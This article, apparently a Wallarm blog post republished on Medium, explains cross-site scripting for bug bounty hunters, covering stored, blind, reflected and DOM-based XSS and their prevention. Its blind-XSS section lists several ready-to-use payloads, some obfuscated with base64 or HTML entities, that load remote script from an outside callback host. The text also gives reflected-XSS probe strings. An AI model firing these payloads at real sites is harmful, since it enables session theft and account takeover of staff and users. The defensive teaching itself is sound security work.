A7: Cross-Site Scripting (XSS) 💻 — Top 10 OWASP 2017

Ivan Novikov
10 min readSep 23, 2021

--

Introduction

XSS is one of my favourite vulnerability types because of the depth and complexity. It all seems so super simple but when you really get down to the core of XSS there is a world of wonder to explore. Besides the different types of XSS ( Being reflected, stored and DOM — blind XSS is another form of stored XSS ) there are also a lot of different contexts which most people seem to glance over completely. Most courses and articles that cover XSS will only concern themselves with HTML injection but this is just a small part of what XSS is all about. This is where API security really comes in because any frontend protection is only there to stop the user from making mistakes. At the API and server level is where we really need to make sure we have filters in place.

We will look at what it takes to look for all kinds of XSS attacks in all sorts of contexts but also at what we can do to stop this kind of attack from one of the most damaging and varied issues from the top 10 OWASP vulnerabilities.

A7: Cross-Site Scripting (XSS)

What Is Cross-Site Scripting (XSS)

First we need to know why this vulnerability type occurs and we can state that this issue can arise wherever the developer takes user input and renders it onto the page without sanitizing that input. There are several ways to sanitise the input of which the safest but also most restrictive seems to be whitelist based filtering.

Whitelist based filtering is implemented by checking every single piece of user content and only allowing it if that user input is defined on a whitelist. As you can see this can be very cumbersome as we need to define every single input we want to allow which can give a lot of unforeseen issues.

For those reasons a blacklist based filtering system is often chosen where the input is filtered if all or part of it occurs on a blacklist. This is a lot less safe though because if the developer forgets just 1 value on the blacklist they might be opening themselves up to major attacks.

Types of XSS attacks

We already talked a little bit about the different types of XSS but i think it helps if we go over them fully to explain the differences to you and to show you what kind of testing is expected of you as an ethical hacker because we will also be discussing the small differences in test objectives between the types of XSS.

Stored(Persistent) XSS

Stored XSS takes a bit more knowledge of the program to execute successfully since you will have to test every single input field that you see. This is a GIANT task and it seems impossible but it’s needed for sure. In bug bounties there will be no low hanging fruit. That will all be picked clean by pentesters already. Our amazing co-workers already did part of the work and now it’s up to the bounty hunters to find that one field that everyone overlooked in their security measures.

I use the same attack vector as always and I just start. I put on some music and I register and every single input field that I see gets an attack vector thrown at it. Make sure you test everything. Look at every link on every page and actually look for hidden links as well. You can find those in JS files often because developers will put calls they are testing in the JS file and simply not call it from the production application but it’s still available. This is usually a dream as we can test for things like XSS on pages that other hunters haven’t even seen yet.

Blind XSS

Blind XSS is also part of stored XSS as we try to insert an attack vector and a third party will open that attack vector via a system that we can not access under normal working conditions. This can be the back-end website of a ticketing system for example or a chat bot.

For this you need an out of band server. I use [https://xsshunter.com/](https://xsshunter.com/) You can set up your own out of band server from here. Then we need to make an attack vector that will call back to our JS script.

```jsx

javascript:eval(‘var a=document.createElement(\’script\’);a.src=\’https://js.thexssrat. com\’;document.body.appendChild(a)’)

```

There are of course more payloads depending on the situation but I have a list of them.

```jsx

javascript:eval(‘var a=document.createElement(\’script\’);a.src=\’https://js.thexssrat. com\’;document.body.appendChild(a)’)

“><script src=https://js.thexssrat.com></script>

“><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>

“><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

“><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>

“><iframe srcdoc=”&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;js.thexssrat.com&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;”>

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(“load”, b);a.open(“GET”, “//js.thexssrat.com”);a.send();</script>

<script>$.getScript(“//js.thexssrat.com”)</script>

```

If i can i just whack them all into a chatbot or ticketing system and hope for the best.

Reflected XSS

This is by far the most popular type of XSS out there and a lot of hunters and pentesters will focus on this as it’s the easiest to test for. You don’t need to know the application, all you have to do is look for reflected values which makes this vulnerability type a little bit less useful to me. I would like to get to know my application and find all the input fields that store data in the database (which would be stored XSS) but I can certainly understand the appeal here.

For reflected XSS we are going to test every single parameter by entering a random value into that parameter and seeing if it’s reflected anywhere in the response. This can be the JS, the HTML, the DOM,…

```jsx

‘“><img src=x><b>RAT+IS+HERE_GIMME

My attack vector

```

When we find a reflected parameter we don’t have an XSS yet. All we’ve found is a reflected value on our page but it might be filtered properly or sanitised. What we need to now is to see where it is reflected and craft a proper attack string for that context. For example if you are stuck in a JS context where your input is surrounded by single quotes you will have to find a way to insert your own single quote into the attack string (which will often be filtered so you have to try and get around those filters). Next you will have to craft a proper attack to either steal data or execute a function or do something useful. Remember that a popup is just a bit annoying but it has no real impact so don’t just report alert(document.domain) please.

DOM based XSS

What is DOM XSS? To tackle this question we first need to answer what the DOM is. I will not go too deeply into this topic as it can be very complex and goes back to how webpages are built. You are technically not even viewing the DOM if you look at the source code of a webpage as the DOM goes back one step and describes how a web page is built up to javascript so that JS can then convert that DOM into objects and manipulate it. To inspect the DOM properly this means that we **MUST USE THE DEVELOPER CONSOLE AND NOT INSPECT SOURCE.**

DOM XSS vulnerabilities usually arise when we can control input that is being passed into the DOM via a so-called “DOM Sources” that then gets passed into “DOM Sink” that supports dynamic code execution. Some examples can be eval(), document.write(), …

Just like the source-based XSS we are well known with, DOM XSS also knows reflected and stored variants which obey the same rules as source-based XSS. If a variable is being reflected from a GET or a POST parameter into one of these sinks we are talking about reflected DOM XSS. If the variable comes from a value stored in the DB, we are talking about stored DOM XSS.

DOM Sink

When we talk about DOM sinks, we talk about locations where user controlled data will enter the DOM. There are 3 types of DOM sinks and we will go over all of them.

  • Document sink

```jsx

someDOMElement.innerHTML

```

In this example we are speaking to the innerHTML of an element in the DOM. This is a document sink since we are talking to an element in the document.

It’s very important to note that your regular “<script>alert(1)</script>” won’t work here besides several other attack vectors because this is a DOM insertion, not just a reflection of a value. When we speak of a DOM insertion. This is one of the reasons why uncle rat always tests with

```jsx

<img src=x onerror=confirm()>

```

Some more examples:

```jsx

someDOMElement.innerHTML

someDOMElement.outerHTML

someDOMElement.insertAdjacentHTML

document.write()

document.writeln()

```

  • Location sink

```jsx

document.domain

```

In this example we are speaking to the domain. The domain property of the Document interface gets/sets the domain portion of the origin of the current document. This means we are controlling the location and we are speaking to a location sink. In location sinks we usually have to work with javascript pseudo-protocols

example of pseudo-protocol: (http://blabla.com/test?url=javascirpt:alert())

More examples of location sinks:

```jsx

document.location

window.location.assign()

window.location.replace()

```

  • Execution Sink

```jsx

eval()

setTimeout()

setInterval()

Function()

```

In an execution sink we will have the javascript code update it’s own code with data that we as an attacker enter into the system.

In real life you will rarely find these sinks unprotected, you will often have to bypass some test that checks if you don’t enter malicious code but these checks are usually built by the developer so if there is a flaw in their logic we can bypass that check.

  • DOM Source

A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the location.search property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by the document.referrer string), the user’s cookies (exposed by the document.cookie string), and web messages.

Common sources:

```jsx

document.URL

document.documentURI

document.URLUnencoded

document.baseURI

location

document.cookie

document.referrer

window.name

history.pushState

history.replaceState

localStorage

sessionStorage

```

Cross-Site Scripting (XSS) attack scenarios and examples

As for the attack scenarios we are going to discuss, we will start with a CVE that was found in August 2021, which at the writing of the article is very recent. The CVE in question is “CVE-2021–38699 TastyIgniter 3.0.7 Stored Cross Site Scripting Vulnerability”. This CVE describes a stored XSS scenario with a very deceptively easy attack vector ““><script> alert(1) </script> <script> alert(1) </script>”. This attack vector inserted into the “/account, /reservation, /admin/dashboard or /admin/system_logs” endpoints would cause a popup to appear. It might seem like a very easy to pull off but the complexity comes in finding the endpoints that have vulnerabilities in them like this.

A second example we can talk about is a stored XSS attack on a famous search engine called duckduckgo, which was found by accident. The XSS described in this disclosed report comes from the fact that duckduckgo was rendering XSS attack vectors from it’s search results which led to an XSS attack. The attack was again very simple, only requiring a payload of ​​”><img src=x onerror=alert()> to fire. The author found this bug by searching for a XSS attack vector on urban dictionary via duckduckgo. What went on in this amazing hacker’s head is anyone’s guess. Both the title and description of the search results served as payloads. The full report can be found here https://hackerone.com/reports/1110229.

How XSS affects business

XSS can be a very damaging vulnerability leading to all kinds of mishaps ranging from website defacement to full account takeover of admin users. These kinds of attacks are devastating to a company and can cause at minimum a lot of reputation damage. Any damages will need to be repaired which may cause loss of data and monetary losses.

How to prevent XSS attacks

Now that we know how XSS attacks occur and what impact they can have we can follow a few key guidelines to defend ourselves from XSS attacks. These will not give full XSS protection, there is nothing that can do that.

  • Make sure you have a good usage of the SOP and that you don’t allow unwanted calls to other servers which are unknown.

- [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#how_to_block_cross-origin_access](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#how_to_block_cross-origin_access)

  • Make sure your CSP headers are set properly and that they do not allow for unknown domains to execute scripts on your server

- [https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#specifying_your_policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#specifying_your_policy)

  • Make sure you sanitise user input. Look up how to do that in the language you are using.

- PHP: htmlspecialchars(input)

- Python: cgi.escape(‘malicious code here’), see: [http://docs.python.org/library/cgi.html#cgi.escape](http://docs.python.org/library/cgi.html#cgi.escape)

- aspx: [https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-5.0](https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-5.0)

  • Always mark important cookies with the httpOnly flag. This will prevent any JS from accessing the values in those cookies.‍

Conclusion

While cross-site scripting may seem simple at first glance, there is a huge amount of complexity involved in the different types of XSS and in what context the attack occurs. Even after the attacks found an entry point, the real impact of XSS is broad and can require a fair bit of technical knowhow to pull off successfully.

Originally published at https://www.wallarm.com.

--

--

Ivan Novikov

CEO at Wallarm. Application security platform to prevent threats and discover vulnerabilities in a real-time.